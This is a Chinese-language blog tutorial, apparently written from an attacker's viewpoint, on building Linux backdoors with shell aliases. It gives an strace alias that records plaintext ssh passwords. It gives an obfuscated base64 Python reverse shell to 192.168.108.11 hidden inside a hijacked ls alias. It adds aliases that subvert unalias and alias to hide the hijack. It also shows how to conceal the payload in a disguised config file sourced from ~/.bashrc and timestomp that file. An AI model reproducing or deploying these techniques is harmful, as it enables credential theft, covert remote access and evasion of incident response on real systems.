0x01 alias 简介alias 命令的功能是为命令设置别名,比如我想让我每次输入 ls 的时候都实现 ls -al 那怎么实现呢? alias ls = 'ls -al'
对于通过ssh远程登录的用户来说,每次设置只在本次连接过程中有效,下次再进行登录的时候就不会这样了 0x02 alias 使用方法系统中存在一些默认的别名,直接输入 alias 或者 alias -p 可以进行显示
Ubuntu Server 16.04 结果如下: 
这里有我们熟悉的 ll 命令,这个命令的真实含义其实是 ls -alF 
可以看到我们可以直接执行 ll 来短缩我们的命令长度 如果我们只想实现查看一个别名的含义,可以直接使用 alias cmd ,我们以ll命令为例

设置一个别名 alias getpwd = 'cat /etc/passwd'

删除一个别名 unalias getpwd

此时我产生了一个疑问,系统默认的这些个别名是在哪里设置的呢?alias 是不是有一个统一的配置文件呢? 抱着这样的疑问,我想看一看alias 相关的文件夹以及文件 
可以看到,似乎alias并不是一个在环境变量中的可执行文件 
也不是通过 dpkg 安装的,那么只能上大招了 
可有发现有两个名字为 alias 的文件 
这个文件似乎不是alias 的配置文件,看下一个 
这个也不是,百度google了一番也没有找到有文件说存在alias 的配置文件 那么问题来了,默认的这些个别名设置是怎么来的呢? 猜也知道对吧,肯定在系统启动默认加载的配置文件里,比如 /etc/profile 、 /etc/bashrc 、~/.bashrc、~/.bash_profile 、~/.profile 、~/.bash_logout /etc/profile 【系统级】Linux是一个多用户操作系统。用户登录或切换(即Login shell 启动)时都有一个专用的运行环境,但首先执行 /etc/profile /etc/bashrc 【系统级】在 bash shell 打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell ~/.bashrc 【用户级】当用户登录时以及每次打开新的shell时该文件都将被读取,不推荐在这里配置用户专用的环境变量,因为每开一个shell,该文件都会被读取一次,效率肯定受影响 ~/.bash_profile && ~./bash_login 【用户级】 如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 会执行该文件而不会执行~/.profile 如果两个文件都存在的话,Bash 将会优先执行~/.bash_profile 而不是~/.bash_login
~/.bash_logout 【用户级】当每次退出系统(退出bash shell)时执行该文件
参考 https://www.cnblogs.com/lovychen/p/10911699.html 查看 ~/.bashrc 配置文件 
逮到了! 那root用户会不会存在 .bashrc 文件呢? 
也是存在的,所以这些都是'藏污纳垢'的好地方 0x03 alias 后门分析&制作当前用户目录下.bashrc alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
上面是我搜索了10多篇文章,发现的同一条后门命令,既然有前辈写了,咱们就分析分析 上面后门中,其实 alias 只是做了一个小技巧,而不是主要的后门命令,含义也就是将当前用户的ssh命令修改为 这里主要涉及到 strace 这个命令,以及一些它的参数, strace 是什么命令?
我了解了一下,发现 strace 是一个巨牛的工具,堪称神奇,简单来说它是一个调试工具,实际来说,他能把你这个程序在干啥整得明明白白 strace能做什么?
它可以基于特定的系统调用或系统调用组进行过滤 它可以通过统计特定系统调用的使用次数,所花费的时间,以及成功和错误的数量来分析系统调用的使用。 它跟踪发送到进程的信号。 可以通过pid附加到任何正在运行的进程。 调试性能问题,查看系统调用的频率,找出耗时的程序段 查看程序读取的是哪些文件从而定位比如配置文件加载错误问题 查看某个php脚本长时间运行“假死”情况 当程序出现“Out of memory”时被系统发出的SIGKILL信息所kill 另外因为strace拿到的是系统调用相关信息,一般也即是IO操作信息,这个对于排查比如cpu占用100%问题是无能为力的。这个时候就可以使用GDB工具了。
参考:https://www.jianshu.com/p/33521124bdf2 等我研究到系统内核,进程间通信等等再把这个工具详细写一写,当然了,也可能想不开哪天就写了 接下来我们分解一下上面的命令 strace -o /tmp/sshpwd-xxx.log 其中xxx为 `date '+%d%h%m%s'` 
把strace的输出单独写到指定的文件 /tmp/sshpwd-xxx.log ,这个没啥好说的 -e read,write,connect Linux内核目前有300多个系统调用,详细的列表可以通过syscalls手册页查看。这些系统调用主要分为几类: 文件和设备访问类 比如open/close/read/write/chmod等 进程管理类 fork/clone/execve/exit/getpid等 信号类 signal/sigaction/kill 等 内存管理 brk/mmap/mlock等 进程间通信IPC shmget/semget * 信号量,共享内存,消息队列等 网络通信 socket/connect/sendto/sendmsg 等 其他
这里的含义就是监听read,write,connect 函数,说白了,把读写远程连接都给监听了,当然大家可以监听更多 -s2048 ssh -s2048 我查询了一下,并没有发现有这个参数,我很好奇,这到底是什么参数... 后来我明白了,这个应该是 -s 2048 中间的空格因为第一个写文章的人给写错了,导致大家都整错了,实际上并不是这么回事 -s 2048 是设置打印字符串的长度,默认是32
所以整个命令应该修改为 alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'
在 Ubuntu Server 16.04 中进行测试 

现在我们在这台服务器上远程连接其他服务器 
可以看到,我们尝试用root/123456 登录192.168.1.46 ,之后服务器的tmp目录中生成了 sshpwd-xxxx文件,我们看一下其中的内容 
可以看到我们之前提交的数据,同时呢,这个文件返回的内容也比较多,只要改一个好点的名字可能会让安全管理人员认为是正常的文件 这种后门的场景就是用户登录到这台主机上后,使用这台主机的ssh去远程连接其他主机才能引发后门,记录明文密码,这局限性太大了,顶多可以作为一个后门辅助。
alias 可以设置别名,那么有几个疑问 如果一个可执行文件放在环境变量path下,同时设置一个与这个文件名相同的别名,看看哪一个会执行 

可以看到,设置别名后,我们执行test94 的时候会执行 cat /etc/issue ,这个时候我们就可以知道了,我们可以通过别名的方式劫持默认的命令,比如ls,而且不需要替换原文件。 可以直接执行,现在我们来设置一个别名,将 test94 设置为 'cat /etc/issue' 我们向 /usr/bin/ 下写入一个 test94 文件,文件内容为echo 'test94' ,并且给予执行权限
alias 设置别名的时候可以使用绝对路径吗? 
可以看到,绝对路径是支持的,那这样的话我们尝试劫持一下 ls 命令 

-


劫持成功 此时 ls 还是原来正常的ls ,此时我们设置别名 alias ls='/usr/local/games/ls' 可以看到,现在状态 ls 命令已经被替换为了 echo 'test94' ,这里我们还没有设置别名,因为 /usr/bin/ 比 /bin/ 目录的优先级高,所以被替换了,这不好,我们将自定义的ls换一个目录 /usr/local/games 执行ls 创建 /usr/bin/ls 内容为 echo 'test94',并且赋予执行权限 查看 ls 绝对路径
alias 在设置 ls='xxxx' 后,后续设置的别名引用ls,是引用的别名还是可执行文件 
可以看到,此时的 ls 是带有颜色的,而且别名 ls 的值为 ls --color=auto 
此时可以看到,执行可执行文件就没有颜色了 
可以看到,此时执行 lstest 显示的文件名称是有颜色的 alias 想要使用参数怎么整 alias ls='ls --color=auto;pwd' 这么写默认参数会传递给pwd,那pwd哪管你啥参数 
所以这样的话一下就会被管理员发现,怎么整呢,把我们的参数传递给ls不就行了吗? 
这也不行呀,查资料才知道,alias 不支持参数,函数才支持参数 
用了好几天时间吭哧瘪肚想出来的一个后门
就使用 alias + python3 劫持 ls alias ls='alerts(){ ls $* --color=auto;python3 -c 'import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMDguMTEiLCA1NTU1KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))';};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != 'ls' ]&&[ $* != 'alias' ]&&[ $* != 'unalias' ]; then unalias $*;else echo '-bash: unalias: ${*}: not found';fi;else echo 'unalias: usage: unalias [-a] name [name ...]';fi;};alerts'
alias alias='alerts(){ alias '$@' | grep -v unalias | sed 's/alerts.*lambda.*/ls --color=auto'\''/';};alerts'

实现的效果是: 劫持了 ls 命令,输入 ls 后可以执行我们的反弹 shell 的命令 ls 命令执行完全正常,用户无感知 劫持了 unalias 命令,使用户无法直接通过 unalias 来解除我们的 ls 别名 劫持了 alias 命令,使用户查看别名列表的时候发现 ls 一直是 ls='ls --color=auto' 在用户退出ssh的时候才会反弹shell(这个我表示不理解,好像情况也不是很统一,可能跟我给了服务器单核有关系)
其实里面还涉及了一些知识点,比如:算了,你们自己去尝试把命令解密开,自己看吧,没啥难的 0x04 后门隐藏整的似乎挺好,但是怎么隐藏起来,并且能够让所有登录的人直接就中招呢??? 肯定是离不开开机自启的程序或者配置文件了 上面我们提到了几个对吧,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout 但是我觉得都不好,因为这些大家都知道了,应急响应恨不得上来就检查这些内容呢 我选择 ~/.bash_aliases ,这个文件呢,默认不会有,但是在 ~/.bashrc 中默认加载 
可以看到,我在 helper 的目录中新建了一个 .bash_aliases 的文件,在文件中写入 alias ls='ls -al' 重新登录后,执行 ls 的时候已经是执行 ls -al 了 此时,我们使用 root 权限进行 ls 的时候,执行的就是 ls ,因为在 root 的家目录下没有 .bash_aliases 文件 我们看一下 ~/.bashrc 文件中是如何载入 .bash_aliases 的 
可以看到,现在 Ubuntu 16.04 中已经是默认加载这个文件了
我知道你在想什么,哈哈哈哈哈,我也寻思呢,我给换一个更加有迷惑性的目录和文件名,之后设置加载,岂不美哉? 经过我的一番寻找,加上自己所剩无几的经验,终于找到了一个目录 /etc/update-manager/ ,这个目录我跟你说,我一眼就相中了,这简直就是为后门设计的呀 
这个目录里的 release-update 就是我新建的配置文件,看不出来吧,是不是很和谐,我都羡慕我自己了,我在这说啥呢,我的天 
那好,我们把配置插进 ~/.bashrc 
你看,我还像模像样的写了两行注释,伪装一下 ,记得把之前的 ~/.bash_aliases 删除掉 
此时,我们推出 ssh 连接,之后再次连接,我们测试一下: 
可以看到,我们的别名已经执行了, ls='ls -al'
现在我们要让这个后门更加完善 在 /etc/update-manager/release-update 中写入我们的 alias 后门 
修改我们的文件的MAC时间,模拟成这个目录的正常文件模拟得更真实一些 
现在可以看到,MAC时间一看就能看出来是新建的文件,用 stat 来查看更加清晰 
修改后门文件的时间与同目录名称相似的文件的 MAC 时间相同 touch -acmr /etc/update-manager/release-upgrades /etc/update-manager/release-update

可以看到,除了change 时间,其他的都一样了 change time 表示最后一次对文件属性改变的时间,包括权限,大小,属性等等。我没有找到能够任意修改文件的change time 的方法,所以上面的就是能做的最大了 完成了,走一下试试 
完美!!!
|